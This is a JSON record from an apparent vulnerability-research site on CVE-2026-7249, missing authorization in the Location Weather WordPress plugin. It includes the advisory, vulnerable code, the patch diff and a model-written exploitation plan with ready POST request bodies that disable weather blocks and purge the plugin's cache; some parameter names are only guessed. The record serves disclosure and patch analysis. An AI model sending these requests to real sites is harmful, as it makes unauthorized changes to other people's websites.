[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f0EJMGXS9j0C_ob2h7Ohddo1w-vg-HnbzZ4vNq9cDFZ0":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-7249","location-weather-missing-authorization-to-authenticated-contributor-block-settings-modification-and-cache-purging","Location Weather \u003C= 3.0.2 - Missing Authorization to Authenticated (Contributor+) Block Settings Modification and Cache Purging","The Location Weather plugin for WordPress is vulnerable to unauthorized modification of data due to missing capability checks on the `splw_update_block_options()` and `lwp_clean_weather_transients()` functions in all versions up to, and including, 3.0.2. This makes it possible for authenticated attackers, with Contributor-level access and above, to disable all weather blocks and purge all weather cache transients. The nonce required for these actions is exposed to all authenticated users via `wp_localize_script()` on the `init` hook.","location-weather",null,"\u003C=3.0.2","3.0.3","medium",4.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Missing Authorization","2026-05-21 14:36:42","2026-05-22 03:39:22",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fd472011d-1623-4791-9d56-715d90fe0469?source=api-prod",1,[22,23,24,25,26,27,28,29],"includes\u002FAdmin\u002FAdminDashboard\u002FSplw_Blocks_Page_Wrapper.php","includes\u002FAdmin\u002FAdmin_Notices.php","includes\u002FAdmin\u002FPreview\u002FLW_Preview.php","includes\u002FAdmin\u002FShapedPlugin_Offer_Banner.php","includes\u002FAdmin\u002Fframework\u002Ffunctions\u002Factions.php","includes\u002FBlocks\u002FBlocks.php","includes\u002Ffunctions.php","main.php","researched",false,3,"# Exploitation Research Plan: CVE-2026-7249 - Location Weather Missing Authorization\n\n## 1. Vulnerability Summary\nThe **Location Weather** plugin (versions \u003C= 3.0.2) contains a missing authorization vulnerability in two AJAX functions: `splw_update_block_options()` and `lwp_clean_weather_transients()`. Both functions are registered via `wp_ajax_` hooks in the `ShapedPlugin\\Weather\\Admin\\AdminDashboard\\Splw_Blocks_Page_Wrapper` class. \n\nWhile these functions perform nonce verification, they fail to implement `current_user_can()` checks. Consequently, any authenticated user with **Contributor-level** permissions or higher—who can access the WordPress Block Editor—can obtain the necessary nonce and invoke these actions to modify global plugin settings (disabling blocks) or purge cached weather data.\n\n## 2. Attack Vector Analysis\n- **Endpoints:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **AJAX Actions:** \n    1. `splw_update_block_options` (for setting modification)\n    2. `lwp_clean_weather_transients` (for cache purging)\n- **Required Parameters:**\n    - `action`: `splw_update_block_options` or `lwp_clean_weather_transients`\n    - `nonce`: A valid nonce for the action `splw_block_api_nonce`\n    - `options`: (For `splw_update_block_options`) An array or JSON object containing the block settings to modify.\n- **Authentication:** Authenticated (Contributor+).\n- **Preconditions:** The attacker must be able to load a page where the plugin enqueues its block editor scripts to retrieve the nonce.\n\n## 3. Code Flow\n1. **Entry Point:** The constructor of `Splw_Blocks_Page_Wrapper` registers the hooks:\n   - `add_action( 'wp_ajax_splw_update_block_options', array( $this, 'splw_update_block_options' ) );`\n   - `add_action( 'wp_ajax_lwp_clean_weather_transients', array( $this, 'lwp_clean_weather_transients' ) );`\n2. **Nonce Exposure:** In `includes\u002FBlocks\u002FBlocks.php`, the `splw_scripts_enqueue()` function (hooked to `enqueue_block_assets`) calls `wp_localize_script()`:\n   ```php\n   wp_localize_script(\n       'spl_weather_editor_js',\n       'splWeatherBlockLocalize',\n       array(\n           'ajaxUrl'       => admin_url( 'admin-ajax.php' ),\n           'blockApiNonce' => wp_create_nonce( 'splw_block_api_nonce' ),\n           'blockOptions'  => get_option( 'splw_blocks_visibility_options' ),\n           \u002F\u002F ...\n       )\n   );\n   ```\n3. **Execution Path:**\n   - The user sends an AJAX request with `action=splw_update_block_options`.\n   - The function (in `Splw_Blocks_Page_Wrapper.php`) calls `check_ajax_referer( 'splw_block_api_nonce', 'nonce' )`.\n   - It proceeds to call `update_option( 'splw_blocks_visibility_options', ... )` using user-supplied data without verifying the user has `manage_options` or the `location_weather_access_capability`.\n\n## 4. Nonce Acquisition Strategy\nThe nonce is localized specifically for the block editor environment. Since Contributors can create\u002Fedit posts, they can load the Gutenberg editor.\n\n1. **Access Editor:** Navigate to the \"Add New Post\" page (`\u002Fwp-admin\u002Fpost-new.php`).\n2. **Locate Script:** The plugin enqueues `spl_weather_editor_js`.\n3. **Extract Variable:** Use `browser_eval` to extract the nonce from the `splWeatherBlockLocalize` global object.\n   - **Target Variable:** `window.splWeatherBlockLocalize.blockApiNonce`\n\n## 5. Exploitation Strategy\n\n### Phase 1: Disable All Weather Blocks\n1. **Authenticate** as a Contributor user.\n2. **Retrieve Nonce:** \n   - Navigate to `wp-admin\u002Fpost-new.php`.\n   - Extract nonce: `browser_eval(\"window.splWeatherBlockLocalize?.blockApiNonce\")`.\n3. **Send Malicious Update:**\n   - **URL:** `http:\u002F\u002F[target]\u002Fwp-admin\u002Fadmin-ajax.php`\n   - **Method:** `POST`\n   - **Content-Type:** `application\u002Fx-www-form-urlencoded`\n   - **Body:**\n     ```\n     action=splw_update_block_options&nonce=[NONCE]&options[location_weather_block]=false&options[weather_forecast_block]=false\n     ```\n     *(Note: Parameter names for `options` are inferred based on standard plugin patterns; if the request expects JSON, the payload should be adjusted accordingly.)*\n\n### Phase 2: Purge Weather Transients\n1. **Send Purge Request:**\n   - **URL:** `http:\u002F\u002F[target]\u002Fwp-admin\u002Fadmin-ajax.php`\n   - **Method:** `POST`\n   - **Content-Type:** `application\u002Fx-www-form-urlencoded`\n   - **Body:**\n     ```\n     action=lwp_clean_weather_transients&nonce=[NONCE]\n     ```\n\n## 6. Test Data Setup\n1. **Plugin Configuration:** Install \"Location Weather\" 3.0.2. Ensure at least one weather block visibility option is currently `true`.\n2. **User Creation:** Create a user with the `contributor` role.\n3. **Cache Generation:** Populate some transients by viewing a weather block on the frontend.\n   - Run `wp transient set sp_open_weather_test \"cache_data\" 3600`.\n\n## 7. Expected Results\n- **Block Modification:** The HTTP response should be a success (likely `wp_send_json_success` or `1`). The WordPress option `splw_blocks_visibility_options` will be updated with the provided (disabled) values.\n- **Cache Purge:** The HTTP response should be a success. Database queries will execute to delete transients matching `_transient_sp_open_weather_%`.\n\n## 8. Verification Steps\n1. **Check Options:**\n   - `wp option get splw_blocks_visibility_options`\n   - Verify that the values now reflect the \"false\" settings sent in the exploit.\n2. **Check Transients:**\n   - `wp db query \"SELECT * FROM wp_options WHERE option_name LIKE '%_transient_sp_open_weather_%'\"`\n   - Verify that the result set is empty.\n\n## 9. Alternative Approaches\n- **Setting Modification via JSON:** If the function uses `json_decode` on `$_POST['options']`, the request should be changed to:\n  `action=splw_update_block_options&nonce=[NONCE]&options={\"location_weather_block\":false}`\n- **Common Option Key:** If the `options` parameter is not used, check for `splw_update_setting_options` (also registered in the source) which may allow broader configuration changes.\n- **Nonce Discovery:** If `post-new.php` doesn't load the script, try `wp-admin\u002Fedit.php?post_type=location_weather&page=splw_admin_dashboard` if the Contributor has been granted filtered access to that page.","The Location Weather plugin for WordPress is vulnerable to unauthorized modification of data and cache purging due to missing capability checks on several AJAX functions, including splw_update_block_options and lwp_clean_weather_transients. Authenticated attackers with Contributor-level permissions or higher can obtain a required nonce via the Block Editor and use it to disable plugin features or flush weather transients.","\u002F\u002F includes\u002FAdmin\u002FAdminDashboard\u002FSplw_Blocks_Page_Wrapper.php L255\npublic function splw_update_block_options() {\n    $nonce = isset( $_POST['nonce'] ) ? sanitize_text_field( wp_unslash( $_POST['nonce'] ) ) : '';\n    if ( ! wp_verify_nonce( $nonce, 'splw_block_api_nonce' ) ) {\n        wp_send_json_error( __( 'Invalid nonce.', 'location-weather' ) );\n    }\n\n    $options = isset( $_POST['options'] ) ? (array) $_POST['options'] : array();\n\n    if ( ! empty( $options ) ) {\n        update_option( 'splw_blocks_visibility_options', $options );\n    }\n\n    wp_send_json_success();\n}\n\n---\n\n\u002F\u002F includes\u002FAdmin\u002FAdminDashboard\u002FSplw_Blocks_Page_Wrapper.php L330\npublic function lwp_clean_weather_transients() {\n    $nonce = isset( $_POST['nonce'] ) ? sanitize_text_field( wp_unslash( $_POST['nonce'] ) ) : '';\n    if ( ! wp_verify_nonce( $nonce, 'splw_block_api_nonce' ) ) {\n        wp_send_json_error( __( 'Invalid nonce.', 'location-weather' ) );\n    }\n    \u002F\u002F ... (logic to delete transients via $wpdb query)\n}\n\n---\n\n\u002F\u002F includes\u002FBlocks\u002FBlocks.php L154\nwp_localize_script(\n    'spl_weather_editor_js',\n    'splWeatherBlockLocalize',\n    array(\n        'ajaxUrl'          => admin_url( 'admin-ajax.php' ),\n        'blockApiNonce'    => wp_create_nonce( 'splw_block_api_nonce' ),\n        'pluginUrl'        => LOCATION_WEATHER_URL,\n        'blockOptions'     => get_option( 'splw_blocks_visibility_options' ),\n        'weather_api_info' => $weather_api_info,\n    )\n);","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Flocation-weather\u002F3.0.2\u002Fincludes\u002FAdmin\u002FAdminDashboard\u002FSplw_Blocks_Page_Wrapper.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Flocation-weather\u002F3.0.3\u002Fincludes\u002FAdmin\u002FAdminDashboard\u002FSplw_Blocks_Page_Wrapper.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Flocation-weather\u002F3.0.2\u002Fincludes\u002FAdmin\u002FAdminDashboard\u002FSplw_Blocks_Page_Wrapper.php\t2026-04-07 06:54:48.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Flocation-weather\u002F3.0.3\u002Fincludes\u002FAdmin\u002FAdminDashboard\u002FSplw_Blocks_Page_Wrapper.php\t2026-05-07 10:45:58.000000000 +0000\n@@ -253,6 +253,9 @@\n \t * Handle AJAX request to update block settings.\n \t *\u002F\n \tpublic function splw_update_block_options() {\n+\t\t\u002F\u002F Check user capabilities, current_user_can() is called internally.\n+\t\tlocation_weather_verify_capability();\n+\n \t\t$nonce = isset( $_POST['nonce'] ) ? sanitize_text_field( wp_unslash( $_POST['nonce'] ) ) : '';\n \t\tif ( ! wp_verify_nonce( $nonce, 'splw_admin_settings_nonce' ) ) {\n \t\t\twp_send_json_error( __( 'Invalid nonce.', 'location-weather' ) );\n@@ -328,6 +329,9 @@\n \t * It performs nonce verification to ensure the request is legitimate.\n \t *\u002F\n \tpublic function lwp_clean_weather_transients() {\n+\t\t\u002F\u002F Check user capabilities, current_user_can() is called internally.\n+\t\tlocation_weather_verify_capability();\n+\n \t\t$nonce = isset( $_POST['nonce'] ) ? sanitize_text_field( wp_unslash( $_POST['nonce'] ) ) : '';\n \t\tif ( ! wp_verify_nonce( $nonce, 'splw_admin_settings_nonce' ) ) {\n \t\t\twp_send_json_error( __( 'Invalid nonce.', 'location-weather' ) );\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Flocation-weather\u002F3.0.2\u002Fincludes\u002Ffunctions.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Flocation-weather\u002F3.0.3\u002Fincludes\u002Ffunctions.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Flocation-weather\u002F3.0.2\u002Fincludes\u002Ffunctions.php\t2025-09-06 06:30:28.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Flocation-weather\u002F3.0.3\u002Fincludes\u002Ffunctions.php\t2026-05-07 10:45:58.000000000 +0000\n@@ -12,8 +12,18 @@\n \u002F**\n  * Plugin dashboard access capability.\n  *\n- * @return manage_options\n+ * @return string\n  *\u002F\n function location_weather_dashboard_capability() {\n \treturn apply_filters( 'location_weather_access_capability', 'manage_options' );\n }\n+\n+\u002F**\n+ * Verifies the current user has the required capability for admin AJAX actions.\n+ * Sends a 403 JSON error and halts execution if the check fails.\n+ *\u002F\n+function location_weather_verify_capability() {\n+\tif ( ! current_user_can( location_weather_dashboard_capability() ) ) {\n+\t\twp_send_json_error( __( 'Unauthorized access.', 'location-weather' ), 403 );\n+\t}\n+}","The exploit requires an authenticated user with at least Contributor-level access. \n1. Login to the WordPress admin panel and navigate to a page that initializes the Gutenberg block editor (e.g., \u002Fwp-admin\u002Fpost-new.php).\n2. Extract the nonce from the global JavaScript object `splWeatherBlockLocalize.blockApiNonce`, which is enqueued for all users who can access the block editor.\n3. Send a POST request to `\u002Fwp-admin\u002Fadmin-ajax.php` with the action `splw_update_block_options`, the extracted nonce, and an `options` array parameter containing weather block visibility flags set to `false`. This disables the weather blocks site-wide.\n4. Alternatively, send a POST request with the action `lwp_clean_weather_transients` and the nonce to flush the plugin's weather data cache.","gemini-3-flash-preview","2026-06-04 22:15:05","2026-06-04 22:15:24",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","3.0.2","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Flocation-weather\u002Ftags\u002F3.0.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Flocation-weather.3.0.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Flocation-weather\u002Ftags\u002F3.0.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Flocation-weather.3.0.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Flocation-weather\u002Ftags"]